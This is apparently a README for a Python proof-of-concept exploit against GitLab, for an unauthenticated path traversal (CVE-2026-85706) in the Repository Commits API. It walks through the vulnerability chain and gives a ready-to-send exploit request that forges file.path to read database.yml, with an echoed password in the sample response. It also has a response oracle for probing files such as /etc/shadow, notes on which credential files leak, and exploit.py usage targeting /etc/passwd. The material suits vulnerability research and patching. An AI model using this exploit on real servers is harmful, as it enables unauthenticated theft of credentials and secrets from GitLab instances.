
Python PoC for CVE-2026-85706, an unauthenticated path traversal in GitLab CE/EE Repository Commits API that leaks arbitrary local files via a four-state oracle.
GitLab's "create commit" API (POST /api/v4/projects/:id/repository/commits) allows a single request to carry a large amount of file content. To avoid oversized request bodies going directly into Rails parsing, Workhorse first writes the request body to a temporary file on disk, then injects metadata such as file.path / file.size into the forwarded request, and the Rails endpoint reads the file back according to these parameters. The vulnerability chain is the combination of four elements:
post ':id/repository/commits' entry point only has require_gitlab_workhorse! (which merely verifies "forwarded via Workhorse"); the actual authenticate! is hidden later in authorize_push_to_branch!, and the path traversal read occurs before it.file_params_from_body_upload directly treats the request parameters file.path / file.size / Content-Type as Workhorse-injected metadata, without distinguishing the parameter source, so File.read(file_path) can traverse any local path.Content-Type=application/x-www-form-urlencoded, the file content is handed to Rack::Utils.parse_nested_query for parsing; an illegal %-sequence in the content triggers ArgumentError: invalid %-encoding (<component content>), which is echoed verbatim into the 400 response via bad_request!. The echo is first-come-first-served: & / = are component boundaries, parsing stops at the component containing the first illegal % and echoes that component; when there is no delimiter, the entire file is echoed as a single component (valid %xx hexadecimal escapes do not trigger the error)..../repository/commits\z), and the forged parameters get swallowed into the on-disk file content. Appending / to the end of the URL no longer matches that rule, falling into the fallback signed reverse proxy—the original request body along with the forged parameters is forwarded verbatim to Rails with a valid JWT, require_gitlab_workhorse! passes; after Grape normalizes the trailing slash, it still hits the vulnerable handler.Prerequisite: The :id in the URL must be a real existing project (any public project will do), and no login is required throughout.
Exploit request (database.yml under an external DB deployment; when the password contains an illegal % sequence, the entire segment is echoed):
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=&file.path=/var/opt/gitlab/gitlab-rails/etc/database.yml&file.size=1&Content-Type=application/x-www-form-urlencoded
Response (the entire component containing the first illegal % is echoed):
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (production:\n adapter: postgresql\n username: gitlab\n password: \"P@ss%w0rd\" ...)"}
The read is performed as the git user of the Puma process, and the response forms a four-state oracle:
| Response | Meaning | Example |
|---|---|---|
400 local file not present | File does not exist | /etc/nonexistent |
500 Internal Server Error | Exists but the git user lacks read permission (Errno::EACCES unhandled); parse errors on readable files in the multipart branch also fall into 500 | /etc/shadow, /etc/gitlab/gitlab-secrets.json |
401 Unauthorized | Exists and is readable, but the content has no illegal % sequence, so nothing is echoed | /etc/passwd, /proc/self/environ |
400 invalid %-encoding (<content>) | Exists, is readable, and contains an illegal % sequence—the entire component is echoed | Logs containing %, CI build artifacts, database.yml of an external DB |
Actual readable scope under default deployment (tested):
%: CI build logs and artifacts, user-uploaded attachments, database.yml of external DB deployments. Under the default local socket peer authentication, the password field in database.yml is empty; only external DB deployments have a value.gitlab.yml: The rendered template comments already contain sequences such as 95%, %{key} near the top of the file (around line 19), while credential configurations (incoming_email, LDAP, object storage, etc.) are all after line 170—first-come-first-served means that under default deployment only the header segment can be echoed, and the credential segment cannot be read; it is only readable in deployment variants without interfering sequences (custom templates, etc.). Also note that the SMTP password (gitlab_rails['smtp_password']) is not rendered into gitlab.yml; what is actually rendered in are incoming_email, LDAP, and object_store credentials.secrets.yml is pure hex without %, so its content cannot be read (401); gitlab.rb, TLS private keys, and backup archives are root-only (500 oracle only)./proc/self/* process self-inspection, and converting project IDs to @hashed paths to probe for the existence of private projects.Implemented with the Python 3 standard library, no third-party dependencies. The script automatically interprets the four-state results according to the table above.
python3 exploit.py -t http://<target>:<port> # By default reads gitlab.yml (quick echo verification)
python3 exploit.py -t http://<target>:<port> -f /etc/passwd
| Parameter | Description |
|---|---|
-t | Target GitLab address (required), e.g. http://<target>:<port> |
-f | Absolute path to read (default /var/opt/gitlab/gitlab-rails/etc/gitlab.yml) |
-p | Project ID, any real existing project will do (default 1) |
-o | Save the read content to a local file |
Example output (reading gitlab.yml under default deployment—what is echoed is the header segment, not the credential segment):
============================================================
CVE-2026-85706 | GitLab unauth path traversal | @mhtsec
============================================================
[*] CVE-2026-85706 targeting http://<target> -> /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] HTTP 400 | leaked
[+] Leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
# This file is generated by GitLab. Manual changes will be
# overwritten! ...
------------------------------------------------------------
For authorized security testing and vulnerability research only.